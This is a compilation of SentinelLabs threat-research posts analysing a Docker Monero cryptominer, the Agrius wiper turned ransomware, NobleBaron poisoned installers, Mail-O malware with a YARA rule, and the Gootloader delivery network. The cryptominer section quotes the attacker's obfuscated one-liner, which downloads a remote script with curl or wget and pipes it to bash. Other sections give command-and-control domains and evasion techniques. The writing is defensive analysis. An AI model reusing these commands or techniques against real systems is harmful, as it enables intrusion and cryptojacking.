27, Jan, 2021 – Dell requested more time
16, Mar, 2021 – Dell updated that they are cooperating with Microsoft and a fix should be available by the end of April
29, Mar, 2021 – Dell requested more time, confirmed that an update should be available by the end of April
22, Apr, 2021 – Dell initiated a zoom conference call to discuss the blog post release
04, May, 2021 – Initial research released to the public

The post CVE-2021-21551- Hundreds Of Millions Of Dell Computers At Risk Due to Multiple BIOS Driver Privilege Escalation Flaws appeared first on SentinelLabs.

☑ ☆ ✇ SentinelLabs

Caught in the Cloud | How a Monero Cryptominer Exploits Docker Containers

By: Marco Figueroa

Crypto currencies have become a focal point for cybercriminals, but by far the most popular cryptocurrency to mine among cybercriminals over the last couple of years has been Monero virtual currency (XMR). Over the last year, Monero is up 550% in value and cybercriminals are looking for long lasting Monero mining campaigns to gain huge profits.

Cryptomining malware flies under the radar because many of these unwanted programs do not do anything obviously malicious to infected systems. However, the mining costs are absorbed by the unknowing device owner while cybercriminals reap the rewards.

SentinelLabs recently detected a cryptocurrency mining campaign affecting Docker Linux systems. The Docker software platform has witnessed huge growth among enterprises due to its ability to push out applications in small, resource-frugal containers. This, combined with the fact that many security solutions lack visibility into container images, makes them ideal targets for low-risk, finance-driven campaigns.

The campaign seen by SentinelLabs doesn’t use notable exploit components but rather uses a few simple obfuscation methods. The actors were clearly not expecting to find advanced endpoint protections on Docker containers. As we describe below, the miner calls a few bash scripts and then uses steganography to evade legacy AVs or casual inspection.

Technical Analysis

Our Vigilance team detected a Threat Actor (TA) who initially gained access to a Docker container. The initial sequence began with the threat actor executing a script.

sh -c echo 'aHR0cHM6Ly9pZGVvbmUuY29tL3BsYWluL2JIb0wyVwo='|base64 -d|(xargs curl -fsSL || xargs wget -q -O)|bash

This downloads a shell script from hxxps//ideone[.]com/plain/bHoL2W.

The second-stage downloaded from this URL is another simple shell script.

a=$(base64 -d 

The a variable initially decodes the base64 formatted string aHR0cHM6Ly9pZGVvbmUuY29tL3BsYWluL0diN0JkMgo, which converts to https://ideone[.]com/plain/Gb7Bd2. The decoded URL is then passed to the curl command, which uses -f to fail silently so that there is no error output if there is a server error, -sS to suppress the progress meter but still report an error if the entire command fails, and -L to ensure that redirects are followed. If the command fails using curl, the script switches to wget, a similar command-line utility for downloading files from the web. The -q switch tells wget to operate quietly so no output is sent and -O- to output the fetched document to stdout. The output, whether from curl or wget, is then piped to bash for immediate execution.

That output is a shell script with 174 lines of code. In the following section we will analyze the shell script.

From Shells to Mining

The first 16 lines of the script are plain text script commands, but on lines 17-19 there are patterns of base64 encoding. In line 17 it’s the same base64 encoded string as described in the previous section where the TA initially executed the script. Repeating this command tells me that the TA’s experience in writing malicious scripts is in the beginning stages of this TA’s journey, there are more elegant ways to do this.

In lines 18 and 19, the TA uses a clever trick to bypass detections by downloading a JPEG file. Line 18’s base64 decodes to https://i.ibb[.]co/6PdZ0NT/he.jpg and Line 19’s base64 decodes to https://i.ibb[.]co/phwmnCb/he32.jpg.

The first clue something was unusual was the size of the JPEG, which is 6MB. The first thing is to analyze the jpg by loading it in Cerbero suite and confirm my theory that steganography is being used. Viewing the file contents, we can see that the JPEG file uses a JFIF header identifier, but since I know this malware is intended to run on a Linux system I’m going to search for bytes 454c46 (the ELF magic number) that mark where an ELF binary begins.

Turning back to the shell script, let’s examine how the threat actor extracts and uses the ELF binary found in the image.

We can see that the TA uses the dd command-line utility, whose primary purpose is to convert and copy files. It copies the original JPEG file then outputs the file but skips the JPEG blocks on output with skip=14497 and sets the output block size to Bytes bs=1.

The if statement checks ${ARCH}x = "x86_64x" then looks for ${ARCH}x = "i686x", which uses he_32 and finally runs the command. The next line in the code makes it clear that we are dealing with XMRig.

To confirm, I ran the command

dd if=he_save_jpg of=he_save skip=14497 bs=1

and then loaded the he_save into Ghidra. This showed that the ELF binary extracted from the image was XMRig 6.6.2, built on December 17 2020: one month before the shell scripts appeared in the wild.


The incidence of cryptominers in the enterprise has soared over the last few years as attackers seek low-risk returns from poorly-protected endpoints and cloud container instances. Cryptocurrency mining malware hinders system performance, increases the compute power cost to businesses, and in some cases can be a precursor of further infections.

Docker container protection is critical in fighting cryptomining due to the poor visibility in running container services. SentinelOne XDR detects the above malicious program and many other cryptominer variants on cloud workloads as well as traditional endpoints.

Indicators of Compromise




The post Caught in the Cloud | How a Monero Cryptominer Exploits Docker Containers appeared first on SentinelLabs.

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From Wiper to Ransomware | The Evolution of Agrius

By: Amitai Ben Shushan Ehrlich

Executive Summary

  • A new threat actor SentinelLabs tracks as Agrius was observed operating in Israel starting in 2020.
  • Initially engaged in espionage activity, Agrius deployed a set of destructive wiper attacks against Israeli targets, masquerading the activity as ransomware attacks.
  • The attacks were carried out using DEADWOOD (aka Detbosit), a wiper with unconfirmed links to an Iranian threat group.
  • Agrius actors also dropped a novel wiper named ‘Apostle’ and a custom .NET backdoor called ‘IPsec Helper’.
  • Later intrusions carried out by Agrius revealed they kept maintaining and improving Apostle, turning it into a fully functional ransomware.

Agrius Overview

A new threat actor SentinelLabs track as Agrius was observed operating in Israel beginning in 2020. An analysis of what at first sight appeared to be a ransomware attack revealed new variants of wipers that were deployed in a set of destructive attacks against Israeli targets. The operators behind the attacks intentionally masked their activity as ransomware attacks.

One of the wipers used in the attack, dubbed ‘Apostle’, was later turned into a fully functional ransomware, replacing its wiper functionalities. The message inside it suggests it was used to target a critical, nation-owned facility in the United Arab Emirates. The similarity to its wiper version, as well as the nature of the target in the context of regional disputes, leads us to believe that the operators behind it are utilizing ransomware for its disruptive capabilities.

The usage of ransomware as a disruptive tool is usually hard to prove, as it is difficult to determine a threat actor’s intentions. Analysis of the Apostle malware provides a rare insight into such attacks, drawing a clear line between what began as a wiper malware to a fully operational ransomware.

Based on technical analysis of the tools and attack infrastructure, we assess with medium confidence that the attacks were carried out by a threat group affiliated with Iran. While some links to known Iranian actors were observed, the set of TTPs and tools appear to be unique to this set of activities. SentinelLabs tracks this threat actor as Agrius.

Agrius Attack Life Cycle

The Agrius threat group utilizes VPN services (primarily ProtonVPN) for anonymization when accessing the public facing applications of its targets. Upon successful exploitation, the threat actor deploys webshells or simply accesses the target by using the target organization’s VPN solution. The webshells Agrius deploys are mostly variations of ASPXSpy.

Agrius uses those webshells to tunnel RDP traffic in order to leverage compromised accounts to move laterally. During this phase, the attackers use a variety of publicly available offensive security tools for credential harvesting and lateral movement.

A summary of Agrius attack life cycle

On interesting hosts, the threat actor deploys its own custom malware – ‘IPsec Helper’. This backdoor is written in .NET and appears exclusive to Agrius. The malware registers itself as a service to achieve persistence. It can be used to exfiltrate data or deploy additional malware.

Agrius has deployed two different wipers. The first, dubbed ‘Apostle’, appears to be written by the same developer as ‘IPsec Helper’. Both are written in .NET, share functions, and execute tasks in a similar manner. Interestingly, Apostle was later modified into functioning ransomware. The second wiper, DEADWOOD, was previously involved in a wiping attack in the Middle East  and tentatively attributed to Iran.


Throughout our analysis of Agrius techniques, tools, and infrastructure, we found no solid links to any known threat groups. While it is hard to provide a definitive attribution for Agrius, a set of indications pointing the activity towards an Iranian nexus came up throughout the investigation:

  1. Correlation with Iranian interests and past actions
    While this is not a strong link, it is worth noting when correlated with other, technical links. Iranian threat actors have a long history of deploying wipers, dating back to 2012, when Iranian hackers deployed the notorious Shamoon malware against Saudi Aramco. Since then, Iranian threat actors have been caught deploying wiper malware in correlation with the regime’s interests on several occasions.
  2. Webshells VirusTotal submissions
    Some of the webshells deployed by Agrius throughout its intrusions were modified versions of ASPXSpy, deploying additional obfuscation and changing variable names. Three of the variants of this webshell were uploaded from Iran, the rest from other countries within the Middle East region.
    While VirusTotal submissions are not an exact form of determining where a sample was deployed, the sources reinforce a Middle East regional focus.
    Modified Agrius webshells uploaded from Iran (source: VirusTotal)
  3. Infrastructure links to Iran
    The threat actor often used public VPN providers, such as ProtonVPN. On instances where the access was performed from non-VPN nodes, it originated from servers that have also resolved to Iranian domains in the past.
    Agrius infrastructure resolving to Iranian domains (source: PassiveTotal)
  4. The usage of the DEADWOOD wiper
    Agrius utilized the DEADWOOD wiper, which was previously attributed to an Iranian-nexus actor. We cannot independently corroborate previous clustering claims. The ties between Agrius and the threat actor who originally deployed DEADWOOD remain unclear. It’s possible that the two groups have access to shared resources.


Agrius is a new threat group that we assess with medium confidence to be of Iranian origin, engaged in both espionage and disruptive activity. The group leverages its own custom toolset, as well as publicly available offensive security tools, to target a variety of organizations in the Middle East. In some cases, the group leveraged its access to deploy destructive wiper malware, and in others a custom ransomware. Considering this, we find it unlikely that Agrius is a financially motivated threat actor.

Our analysis of Agrius activity does not come in a vacuum. Early May 2021 saw another set of disruptive ransomware attacks attributed to Iran targeting Israel from the n3tw0rm ransomware group, a newly-identified threat actor with links to the 2020 Pay2Key attacks. The close proximity of the Agrius and n3tw0rm campaigns suggest they may be part of a larger, coordinated Iranian strategy. Leaks from Lab Dookhtegan and the Project Signal ransomware operation also support this claim.

While being disruptive and effective, ransomware activities provide deniability, allowing states to send a message without taking direct blame. Similar strategies have been used with devastating effect by other nation-state sponsored actors. The most prominent of those was NotPetya in 2017, a destructive malware targeting Ukraine masked as ransomware and attributed to Russian state-sponsored threat actors by Western intelligence agencies.

Read the Full Report

See the report for the full list of IOCs and further details on Agrius.

Read the Full Report

The post From Wiper to Ransomware | The Evolution of Agrius appeared first on SentinelLabs.

☑ ☆ ✇ SentinelLabs

NobleBaron | New Poisoned Installers Could Be Used In Supply Chain Attacks

By: Juan Andrés Guerrero-Saade

Executive Summary

  • In late May, 2021, Microsoft and Volexity released public reports detailing recent Nobelium activity.
  • Nobelium is suspected to be the new face of APT29 (aka The Dukes). We track this activity under the name ‘NobleBaron’.
  • This campaign employs a convoluted multi-stage infection chain, five to six layers deep.
  • Most custom downloaders leverage Cobalt Strike Beacon in-memory as a mechanism to drop more elusive payloads on select victims.
  • This report focuses on NobleBaron’s ‘DLL_stageless’ downloaders (aka NativeZone)
  • SentinelLabs has discovered the use of one of these DLL_stageless downloaders as part of a poisoned update installer for electronic keys used by the Ukrainian government.
  • At this time, the means of distribution are unknown. It’s possible that these update archives are being used as part of a regionally-specific supply chain attack.
  • We uncovered additional unreported DLL_stageless downloaders.


After the extensive revelations of Russian state-sponsored cyberespionage activities over the past five years, teams like APT28 (aka FancyBear, STRONTIUM) and APT29 (aka CozyBear, The Dukes) have retooled and reorganized extensively to avoid easy tracking by Western governments and security vendors alike. The operations of ‘APT29’ no longer look anything like they did in the past half decade. At this point our preconceptions about these groups are doing more to cloud our judgment than they elucidate. Perhaps new naming conventions (like ‘NOBELIUM’ or ‘StellarParticle’) will help piece these new clusters of activity apart– all the while upsetting folks who would prefer a simpler threat landscape than the one our reality affords us.

We track this new activity under the name ‘NobleBaron’, building off of the excellent reporting by Microsoft and Volexity. We acknowledge the suspicion that this is a newer iteration of APT29 but share in the general trepidation to equate the two. While the aforementioned companies have done excellent work exposing the inner workings of this activity, we wanted to contribute additional variants we encountered in our follow-on research, including a curious particularly insidious packaging of the ‘NativeZone’ downloader as part of a poisoned installer for a Ukrainian cryptographic smartkey used in government operations.

A Convoluted Infection Chain

As noted by Microsoft, the actor appears to be experimenting with various multi-stage infection chains. Common variations include the method of delivering the ISO containers and a wide variety of custom downloaders enmeshed with Cobalt Strike Beacon. There’s a vague mention of an iOS zero-day being hosted on Nobelium fingerprinting servers but no mention as to whether this entails an iOS payload. That said, we also suspect no company is in a position to monitor iPhone endpoints for these payloads, Apple included.

While the Cobalt Strike Beacon payload is a disappointingly ubiquitous end for such a convoluted infection chain, it’s not in fact the end of that chain. Rather, it serves as an early scout that enables selective distribution of rarer payloads directly into memory where they’re less likely to be detected. A similar technique was employed by HackingTeam’s Remote Control System (RCS) where initial infections used their ‘Scout’ malware for initial recon and could then be selectively upgraded to the full ‘Elite’ payload. After years of burned iterations on custom toolkits, it seems NobleBaron has opted for maximizing return on investment by simply lowering their upfront investment.

Notable TTPs include the following:

  • An increasing depth in multi-layer droppers (a concept briefly described by Steve Miller and worth exploring further) particularly with regard to the inevitable CS Beacon payload.
  • The use of large size files to avoid detection by security solutions with hardcoded size limits for ‘efficiency’.
  • A fishing-with-dynamite approach to collecting initial access to victims with low-cost tooling. The SolarWinds supply chain attack is one such example of starting with a wide victim pool and whittling down to high-value targets.

A Curious Poisoned Installer

Compilation Timestamp
2021-05-18 10:21:20
First Submission
2021-05-18 13:26:14
Internal Name
File Description
ІІТ Бібліотека роботи з НКІ типу: "файлова система" (Ukrainian)

Most notably, one of these NativeZone downloaders is being used as part of a clever poisoned installer targeting Ukrainian government security applications. A zip file is used to package legitimate components alongside a malicious DLL (KM.Filesystem.dll). The malicious KM.Filesystem.dll was crafted to impersonate a legitimate component of the Ukrainian Institute of Technology’s cryptographic keys of the same name. It even mimics the same two exported functions as the original.

KM.Filesystem.dll exported functions

The package is not an ISO, but it follows a familiar formula. ‘’ relies on a triad of sorts. An LNK is used to kick off the malicious KM.FileSystem.dll component. In turn, KM.FileSystem.dll starts by checking for presence of KM.EkeyAlmaz1C.dll (a benign DLL). This check is presumably meant as an anti-sandbox technique that would keep this downloader from executing unless it’s in the same directory as the other packaged components. contents

We stop short of referring to this as a supply chain attack since we lack visibility into its means of distribution. The poisoned installer may be delivered directly to relevant victims that rely on this regional solution. Alternatively, the attackers may have found a way of abusing an internal resource to distribute their malicious ‘update’.

LNK starter command to run the malicious DLL

The LNK starter invokes the KMGetInterface export to execute the malware’s functionality. It passes a benign Windows component as an argument (ComputerDefaults.exe). The attackers will use the file’s attributes later on.

Upon execution, the user is presented with a vague ‘Success’ message box.

Note that the heading of the message box is ‘ASKOD’, a reference to the Ukrainian electronic document management system. This initiative is meant to enforce electronic digital signatures through the use of cryptographic keys like the Алмаз-1К (transliterated as ‘Almaz-1K’ or translated to ‘Diamond-1K’) shown below.

Алмаз-1К electronic key description

These particular electronic keys are referenced in Ukrainian government tenders and make for a cunning regional-specific lure to distribute malware.

After displaying the message box, the malicious DLL proceeds to resolve APIs by hash and decrypts its payload directly into memory. You guessed it: Cobalt Strike Beacon v4.

It then decrypts the configuration via single-byte XOR 0x2E and attempts to establish contact with the command-and-control server doggroomingnews[.]com. It checks for ‘/storage/main.woff2’ and if necessary falls back to ‘/storage/page.woff2’. The domain resolves to an IP address in Ukraine (, which appears to be a compromised domain.

While we have not been able to fetch the response at this time, it’s worth noting that this same IP was also contacted by a Cobalt Strike Beacon sample in late 2020:

5a9c48f49ab8eaf487cf57d45bf755d2e332d60180b80f1f20297b16a61aa984 artifact.exe

These malicious updates are distributed in zip archives. At this time, we’ve discovered two ‘’ samples, both containing the same malicious DLL:


‘DLL_stageless’ (NativeZone) Variants

NobleBaron developers internally refer to these components under the name ‘DLL_stageless’

DLL_stageless PDB path

The following are variants of DLL_stageless with their respective delivery mechanisms and encrypted command-and-control configuration.

Compilation Timestamp
2021-03-15 18:32:47
First Submission
2021-04-01 14:06:27
ITW Name
Malicious Export
Compilation Timestamp
2021-03-22 08:51:41
First Submission
2021-03-22 20:39:52
ITW Name
Malicious Export
Compilation Timestamp
2021-02-17 13:18:24
First Submission
2021-02-25 16:33:09
ITW Name
Malicious Export

Analyzing GraphicalComponent.dll led to the discovery of another DLL_stageless sample. At this time, we have not discovered the delivery mechanism. The name suggests the possibility of a different poisoned installer, with a focus on the Java SRE runtime.

Compilation Timestamp
2020-10-02 07:51:09
First Submission
2020-12-16 14:48:01
ITW Name
Malicious Export

The malicious functionality of this sample is launched via the exported function CheckUpdteFrameJavaCurrentVersion. This particular instance of DLL_stageless doesn’t check for a nearby file or specific directory.


The post NobleBaron | New Poisoned Installers Could Be Used In Supply Chain Attacks appeared first on SentinelLabs.

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ThunderCats Hack the FSB | Your Taxes Didn’t Pay For This Op

By: Juan Andrés Guerrero-Saade

Key Findings

  • This research focuses on the ‘Mail-O’ malware used against the FSB and other Russian government organizations, detailed in the May 2021 FSB NKTsKI and Rostelecom-Solar report.
  • Early armchair commentary presumed that given the targets, this attack would undoubtedly be the work of a Western government, Five Eyes, or the United States.
  • Our analysis disproves that hypothesis.
  • Instead, we present the argument that the Mail-O malware is a variant of a relatively well-known malware called PhantomNet or SManager used by a threat actor ‘TA428’
  • Previous reporting on TA428 points to Chinese origin and details a history of attacks against South East Asian and Russian targets.

Actor Disambiguation

Related actors: TA428, suspected IronHusky
Related operations: Operation SignSight, Operation LagTimeIT
Related malware: PhantomNet, SManager, TManger, CoughingDown

In May 2021, the Russian Federal Security Service’s National Coordination Center for Computer Incidents (NKTsKI) in coordination with Rostelecom announced that several Russian government institutions had been victims of an APT campaign. While the Russian government has made a similar announcement before, it’s the first time they’ve accompanied it with a moderately detailed technical analysis. Several researchers, myself included, jumped on the opportunity to write our YARA rules and hope for a glimpse at the culprit.

The InfoSec twitterverse needed no such artifacts as blind speculation immediately pointed at a Western government, Five Eyes, or the United States as de facto culprits. I think we’ll be relieved to find out that was most likely not the case – if solely because we’ve come to expect a higher standard for Western malware development.

Initial attempts to find the samples were fruitless but that changed this past weekend as some kind soul (or more likely a bulk autosubmitter) uploaded a copy of the ‘Mail-O’ malware to VirusTotal. We track this activity under the name ‘ThunderCats’.

Technical Analysis

2.82 MB
Compilation Timestamp
2019-12-20 02:13:01
First Submitted
2021-06-05 05:22:04

In line with the findings of the NKTsKI-Rostelecom report, the Mail-O malware acts as a downloader with a thin veneer of similarity to the legitimate Disk-O software. The disguise consists of a version number (“19.05.0045”) lifted from a legitimate Disk-O executable and the use of a real to post victim details and host a next stage payload.

The executable is bulked up to 2.8MB by statically linking both libcurl 7.64.1 and OpenSSL. Focus becomes important to avoid going down a pointless rabbithole of reversing unrelated open-source code. For that reason, we should focus primarily on the exported functions.

The Mail-O malware exports two functions, Entery and ServiceMain:

Mail-O malware’s exported functions

Mail-O: ServiceMain

ServiceMain function pseudocode

ServiceMain takes a service name as an argument and attempts to register a service control handler with a specific HandlerProc function meant to check and set the status of that service. With a valid service status handle, Mail-O detaches the calling process from its console, changes the service status values to reflect its current running state, and calls the Entery function. Note the ServiceMain function with the debug string “ServiceMain Load” – a template that comes into play in looking for connections to other malware.

Mail-O: Entery

The Entery function is called at the end of ServiceMain, but it can also be independently invoked. It checks for the presence of ‘%AllUsersProfile%\PSEXESVC.EXE’ and launches it as a process. This function is registered as a top level exception filter.

Mail-O PSEXESVC.exe check function

The main Entery logic is orchestrated in the next function. First, Mail-O checks the registry for an existing install of the legitimate Mail.Ru Disk-O software. It decrypts configuration strings and contacts

Mail-O uses the SystemTime to POST the encrypted victim hostname (or in its absence the string “[none]”) and receive a payload. The payload is written to a temporary path before being launched. Mail-O then goes into a sleep loop until a predetermined amount of time.

We’ve yet to see ‘Webdav-O’, the other malware component described in the Rostelecom-Solar report. However, that shouldn’t keep us from following an interesting lead.

The ‘Entery’ Connection

Left: TManger sample (NTT Security)

Right: Mail-O sample:

Mail-O exports a function called Entery, presumably a misspelling of ‘Entry’. Misspellings are a true gift for malware researchers. As it turns out, this isn’t the first time that misspelling has been noted in a recently deployed piece of malware.

In December 2020, Ignacio Sanmillan and Matthieu Faou released an excellent report on a Vietnamese supply-chain attack that used PhantomNet (aka SManager) malware. The researchers noted that the malware’s persistence was established via a scheduled task that called the malicious DLL’s export, ‘Entery’. The researchers note that this same export was pointed out by NTT Security in their analysis of TManger malware, which they in turn correlate with Proofpoint’s ‘TA428’ threat actor. That nondescript threat actor name is adopted by Dr. Web in reporting recent attacks against additional Russian targets including research institutes.

While that might all seem a bit convoluted, I rehearse the logical connections to illustrate two points:

  1. There’s an established history of this very non-Western ‘threat actor’ in targeting both Asian and Russian targets.
  2. These presumably Chinese clusters of activity are confusing and difficult to disentangle. Tooling is likely shared among multiple threat actors (likely including PhantomNet/SManager), and what’s being referred to as ‘TA428’ is probably an amalgam of multiple threat groups.

For skeptics, we’ve provided a YARA rule below for the Entery overlap, which entails not just the export function name but also the general layout of the function and some shared strings. Note that the layout has likely developed iteratively from an open-source template.

Finally, while I’m quick to disparage the quality of the malware as not up to some exalted Western standard, it’s important to note that ThunderCats (and the larger TA428 umbrella) are pulling off custom-tailored region-specific supply chain attacks, successfully punching way above their weight in their intelligence collection efforts, and they should not be underestimated as an adversary.


import "pe"

rule apt_CN_ThunderCats_Overlap
        desc = "Thundercats Entery Export Overlap"
        author = "JAG-S @ SentinelLabs"
        version = "1.0"
        last_modified = "06.08.2021"
        reference = ""

		$psexesvc = "%AllUsersProfile%\\PSEXESVC.EXE" ascii wide
		$sm_load = "ServiceMain Load" ascii wide fullword
		uint16(0) == 0x5a4d
		all of them


The post ThunderCats Hack the FSB | Your Taxes Didn’t Pay For This Op appeared first on SentinelLabs.

☑ ☆ ✇ SentinelLabs

Gootloader: ‘Initial Access as a Service’ Platform Expands Its Search for High Value Targets

By: Antonio Pirozzi

The ongoing Gootloader campaign expands its scope to highly sensitive assets worldwide including financial, military, automotive, pharmaceutical and energy sectors, operating on an Initial Access as a Service model.

Executive Summary

  • Since the beginning of Jan 2021 an active Gootloader campaign has been observed in the wild expanding its scope of interest to a wider set of enterprise verticals worldwide.
  • Analysis of over 900 unique droppers reveals that the campaign targets diverse enterprise and government verticals including military, financial, chemistry, banks, automotive, investment companies and energy stakeholders, primarily in the US, Canada, Germany, and South Korea.
  • Around 700 high-traffic compromised websites were used as a delivery network.
  • The campaign uses tailored filenames to lure targets in a typical form of social engineering.
  • This campaign has a low static detection rate alongside robust sandbox evasion techniques and ‘fileless’ stages.
  • Considering the wide distribution of the campaign and the heterogeneity of its deployed arsenal, we assess that Gootloader acts as an ‘Initial Access As a Service’ provider, after which a variety of tools may be deployed.


We have been tracking an active Gootloader campaign aimed at enterprise and government targets worldwide. The primary industries of interest appear to be U.S. military, governmental, and financial entities, trading, mining, green energy, game industries and automotive companies, as well as their suppliers and service providers.

First spotted in 2014, Gootkit was born as a banking trojan. It has since evolved to become more of an infostealer, operated by what appears to be a cluster of actors. The name ‘Gootkit’ is often used interchangeably to refer to both the malware and the group, but that’s admittedly loose. In March 2021, Sophos were the first to identify the multi-payload delivery platform and call it “Gootloader”.

Early activity of Gootloader campaigns was first spotted by security researcher @ffforward in late 2020 and later published by ASEC, malwarebytes, and TrendMicro. Pivoting on those findings, we were able to gather a sizable amount of malicious artifacts related to the same Gootloader campaign. We collected about 900 JavaScript (js) droppers from a period of four months (1 Jan 2021 – 25 April 2021) by leveraging this Gootloader_JavaScript_infector YARA Rule. Our aim is to deepen our understanding of the Gootloader service platform and the selective nature of this campaign: topics that haven’t been investigated at scale.

The campaign uses customized filenames to lure targets through SEO poisoning, with the name of the js loader playing an active part of the social engineering process. For this reason, we deemed that in this campaign the filenames provided a strong indication of the contents victims were interested in searching for and, by extension, the scope of the intended targets.

The detection rate of these artifacts on by VirusTotal engines is very low and ranges from 1 to 7:

Low detection on VirusTotal

Moreover, considering that the subsequent stages are downloaded and executed in-memory, this ‘fileless’ mechanism is very effective at evading standard sandboxes.

The Stealthy JS Loader

The core component of Gootloader is a small js loader (2.8 KB) that acts as the first-stage of the infection chain. It’s not new, and the same artifact is used in other Gootkit campaigns. The loader is composed of three highly obfuscated layers that contain encoded URLs. These form part of a network of compromised websites used to deliver the final payload, typically one of the malware families listed below:

  • BlueCrab (mostly targeting Korean Users)
  • Cobalt Strike Beacons
  • Gootkit
  • Kronos
  • Revil

We see Gootloader as a cluster of activity representing an ‘Initial Access as a Service’ business model, allowing it to distribute malware for different cybercrime groups for affiliate fees. All of the above payloads are known ‘MaaS’ (Malware-as-a-Service) families that thrive on affiliate distribution models. Seeing that in some cases the payload distributed is Cobalt Strike, we cannot exclude that the Gootloader operators are conducting their own reconnaissance or credential harvesting for further gain.

Analyzing the JavaScript components was made drastically easier with the use of HP’s Gootloader decoder to automate the deobfuscation and extraction of embedded URLs and content.

The beautified version of the js loader’s first layer reveals the malicious logic:

js loader 1st layer

Once deobfuscated, we obtain the 2nd layer:

js loader 2nd layer

And finally the cleartext (and beautified) version:

js loader decoded

From the decoded script we can now see how Gootloader performs some target filtering to ensure that the victim is a part of an Active Directory domain via expanding the "%USERDNSDOMAIN%"  environment variable.

Checking to see if the user is an AD domain

If the check returns true, then it appends an id (278146 in the above example) at the end of the query string and requests the next stage from one of the websites contained in the ‘K’ array.

Gootloader Delivery Platform

In this section, we examine how the Gootloader delivery network works, starting with the distribution of the js loader using a social engineering lure all the way to the final payload.

The delivery network is composed of two levels. The first level consists of compromised well-ranked websites indexed by Google and hijacked by threat actors to host a js redirector.

Hijacked websites host a js redirector

At the time of writing, we estimate there are around 700 different compromised websites worldwide.
The script embedded on these compromised websites is responsible for performing the following checks via HTTP headers before delivering the js loader to the target:

  • referral: check that the request comes specifically from a Google search
  • first time condition: check that the host/machine has not previously visited the site
  • timezone: check the timezone based on the requester IP

The timezone check is particularly interesting: in our analysis, the Gootloader platform apparently ‘geofences’ its intended targets by only deliverering malware if the victim comes from specific countries: the US, Canada, Germany, and South Korea.

If any of the above conditions is not met, then the redirector builds a dummy page without a malicious component for the user, such as the following:

Dummy page for uninteresting visitors

Otherwise, the embedded script automatically builds and displays a fake forum page containing a thread relevant to the user’s search content, along with the link to the js loader:

Fake forum page for interesting targets

The compromised websites use old and vulnerable CMS versions that have been exploited to insert the malicious script.

During our analysis, we were able to extract the exploited domains used as a second-level delivery network for this campaign (the list is not exhaustive):


The malicious link embedded into the fake page points to a .php resource. In turn, that component is responsible for delivering the malicious loader to victims by pulling a zip archive containing the js loader with the same name from the second level delivery network.


The above URL reminds us of a typical webshell schema through which it’s possible to track campaigns and victims. Moreover, subsequent attempts to download the same file using the same URL from the same machine will fail. Each download attempt automatically generates a new URL. In fact, three different attempts from different IPs generate the following unique URLs:

Different IPs generate unique URLs

This substantiates the notion of a fully-automated assembly line process for malicious bundles.

Once the malicious js loader is delivered to the victim and executed through the wscript.exe process, it performs another request to one of the embedded domains belonging to the same 2nd level delivery network.

In the request, the loader passes a random-looking parameter (“?wmsyxqsucnsif=”) to the search.php component, assigning a value to it. The assigned value consists of a randomly generated numeric value followed by an ID that signals that the user is part of a domain.

The “?wmsyxqsucnsif=” query parameter changes for each analyzed dropper. By extracting a few of them, we noticed differences in length:

 	Iywoiqoagiqj 		Length: 12
	Ulxoflokgzjuj 		Length: 13
 	Xksrabkxexxje 		Length: 13
 	Ulxoflokgzjuj 		Length: 13
 	Frzlewezxuqra 		Length: 13
 	Wehzijrczmewt 		Length: 13
 	Fzwuidcgfwpid 		Length: 13
 	Xrplomnpnofoc 		Length: 13
 	Jrnfrcbxrmwnr 		Length: 13
 	Zlurylnryiaupe 		Length: 14
 	Bhqtjmvrrnpttw 		Length: 14
 	Hmdfwcokgjutia 		Length: 14
 	Btvhenvucpmtvpta 	Length: 16
 	Vzhnbqsvkxxndgem 	Length: 16
 	Mnxcmedoofhmjhob 	Length: 16
 	Olwakhzcqflqrbln 	Length: 16
 	Ecteaaaqztxoqblrar 	Length: 18

We were able to populate at least five different clusters based on assigned lengths: 12, 13, 14, 16 and 18. A randomly generated, unique string is assigned to each loader. The query parameter, at this stage, may be used for download tracking or other purposes.

Delivery of the Final Payload

If the js loader succeeds in contacting the C2, then it retrieves an encoded PowerShell stager that in turn downloads the next payload and writes it to the registry as a list of keys. The js loader then deploys additional PowerShell responsible for loading and decoding the content hidden in the registry.

Base64 obfuscated PowerShell
Decoded PowerShell content
The additional PowerShell is responsible for extracting the payload from the registry, converting it from ascii into bytes through the chba() function then loading and executing it by reflection.
At this point, the code spawns the ImagingDevices.exe process and injects itself into it via process hollowing. As noted above, the injected payload varies between Cobalt Strike Beacons and various well-konwn malware families such as REvil and Kronos.
PowerShell execution chain

Analysis of the network communication allowed us to spot different network clusters revolving around the following IPs:

  • 23.106.122[.]245
  • 78.128.113[.]14
Network clusters

These two Cobalt Strike Team Servers now appear to serve Gootloader exclusively, however, there appears to be some infrastructure overlap on 78.128.113[.14]. This particular host has been observed as part of multiple Cobalt Strike-centric campaigns over the last several years. It is not possible to conclusively say that the same “actor” or “group” has been operating that infrastructure throughout the history of its misuse. That said, it is important to note that while campaigns have varied, this host has constantly been utilized to stage and serve CS Beacons and additional payloads, up to and including this ongoing Gootloader campaign. It is reasonable to assume given such history that the host is at least partially under control of an affiliate group.


As evidenced by artifacts in the code, this ongoing Gootloader campaign is selective and targets users from enterprise environments. Extrapolating from the variety of languages used in various components of the campaign, we can surmise that the operators favored targets in Korean, German and English-speaking environments.

File names in different languages

The names of lures embedded into Gootloader samples also offer additional insights into the nature of the desired targets. For example, the artifact ‘besa_national_agreement_2021.js’ (SHA1: b0251c0b26c6541dd1d6d2cb511c4f500e2606ce) could suggest targets interested in components supplied by an Italian manufacturing company that produces security valves. Categorizing the loaders by their names, we can surmise targeted verticals:

Targeted industries

Interestingly, Korean loaders follow a different naming convention to that used for other languages. Rather than using company names or specific entities, they use a more generic naming scheme. This could indicate the presence of region-specific Gootloader operators with their own TTPs. It’s notable that despite not expressly targeting specific entities, these infections continue to check for users that are part of corporate domains.

유튜브_영상(egj).js 		YouTube_Video(egj).js
휴먼명조_폰트(fm).js (		Human Myeongjo_Font(fm).js
살육의_천사_게임(lep).js 		Slaughter_angel_game(lep).js
바코드생성프로그램(bo).js 		Barcode generation program (bo).js
웨스트월드_시즌2_2화(jbk).js 	West World_Season 2 Episode 2(jbk).js
스팀_게임_무료(wdb).js 		Steam_Game_Free(wdb).js


We analyzed an ongoing Gootloader campaign attempting to lure professionals and enterprise employees worldwide. The selective nature of this campaign, the option to deliver multiple payloads, as well as the utilization of Cobalt Strike leads us to believe that Gootloader is an ‘Initial Access as a Service’ provider primarily for ransomware operators.

This malicious operation is still active at the time of writing and we continue to expect future campaigns seeking additional targets and verticals. For that reason, we continue to actively monitor Gootloader as a means of distribution for the next strand of widespread ransomware.

IoCs Gootloader Q1 2021


Js loader + powershell stage:
Initial Access (TA0001):

  • T1566 Phishing
